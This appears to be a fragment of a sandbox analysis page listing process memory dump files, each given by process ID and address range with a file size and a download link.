memory/4320-52-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4408-79-0x0000000073B30000-0x000000007421E000-memory.dmp

Filesize
6.9MB

Download
memory/4408-80-0x0000000004AC0000-0x0000000004AD0000-memory.dmp

Filesize
64KB

Download
memory/4416-92-0x0000000004D90000-0x0000000004DA0000-memory.dmp

Filesize
64KB

Download
memory/4416-91-0x0000000073B30000-0x000000007421E000-memory.dmp

Filesize
6.9MB

Download
memory/4416-117-0x0000000004D90000-0x0000000004DA0000-memory.dmp

Filesize
64KB

Download
memory/4840-30-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4840-55-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4868-61-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4868-96-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4880-21-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4880-53-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download
memory/4896-81-0x00007FFA07720000-0x00007FFA0810C000-memory.dmp

Filesize
9.9MB

Download